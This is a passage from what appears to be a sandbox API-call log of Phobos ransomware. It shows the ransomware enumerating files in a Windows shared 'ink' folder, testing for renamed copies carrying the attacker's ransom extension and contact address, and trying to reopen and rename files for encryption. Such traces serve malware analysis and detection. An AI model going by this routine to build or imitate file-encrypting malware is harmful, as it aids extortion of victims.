"c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.265] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.266] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3333) returned 1 [0049.266] CloseHandle (hObject=0x318) returned 1 [0049.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0049.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.267] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.275] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=247) returned 1 [0049.275] CloseHandle (hObject=0x318) returned 1 [0049.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0049.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.275] SetEvent (hEvent=0x2e8) returned 1 [0049.275] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.277] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=738) returned 1 [0049.277] CloseHandle (hObject=0x318) returned 1 [0049.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0049.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.278] SetEvent (hEvent=0x2e8) returned 1 [0049.278] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.278] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=488) returned 1 [0049.278] CloseHandle (hObject=0x318) returned 1 [0049.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0049.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.281] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.282] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=15097) returned 1 [0049.282] CloseHandle (hObject=0x318) returned 1 [0049.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0049.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.283] SetEvent (hEvent=0x2e8) returned 1 [0049.283] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.283] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=11067) returned 1 [0049.283] CloseHandle (hObject=0x318) returned 1 [0049.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0049.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.293] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.293] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=44506) returned 1 [0049.293] CloseHandle (hObject=0x318) returned 1 [0049.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0049.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.293] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.301] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=737) returned 1 [0049.301] CloseHandle (hObject=0x318) returned 1 [0049.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0049.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.301] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.304] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=219) returned 1 [0049.304] CloseHandle (hObject=0x318) returned 1 [0049.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0049.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.305] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.305] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=694) returned 1 [0049.305] CloseHandle (hObject=0x318) returned 1 [0049.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0049.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.305] SetEvent (hEvent=0x2e8) returned 1 [0049.305] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.306] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=805) returned 1 [0049.306] CloseHandle (hObject=0x318) returned 1 [0049.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0049.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.306] SetEvent (hEvent=0x2e8) returned 1 [0049.306] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.310] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3823) returned 1 [0049.310] CloseHandle (hObject=0x318) returned 1 [0049.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0049.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.311] SetEvent (hEvent=0x2e8) returned 1 [0049.311] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.324] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=46624) returned 1 [0049.324] CloseHandle (hObject=0x318) returned 1 [0049.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0049.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.325] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.325] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1100592) returned 1 [0049.325] CloseHandle (hObject=0x318) returned 1 [0049.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0049.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.327] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.329] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3380096) returned 1 [0049.329] CloseHandle (hObject=0x318) returned 1 [0049.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0049.329] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0049.329] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0049.329] SetEvent (hEvent=0x2e8) returned 1 [0049.329] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.339] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2418) returned 1 [0049.339] CloseHandle (hObject=0x318) returned 1 [0049.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common 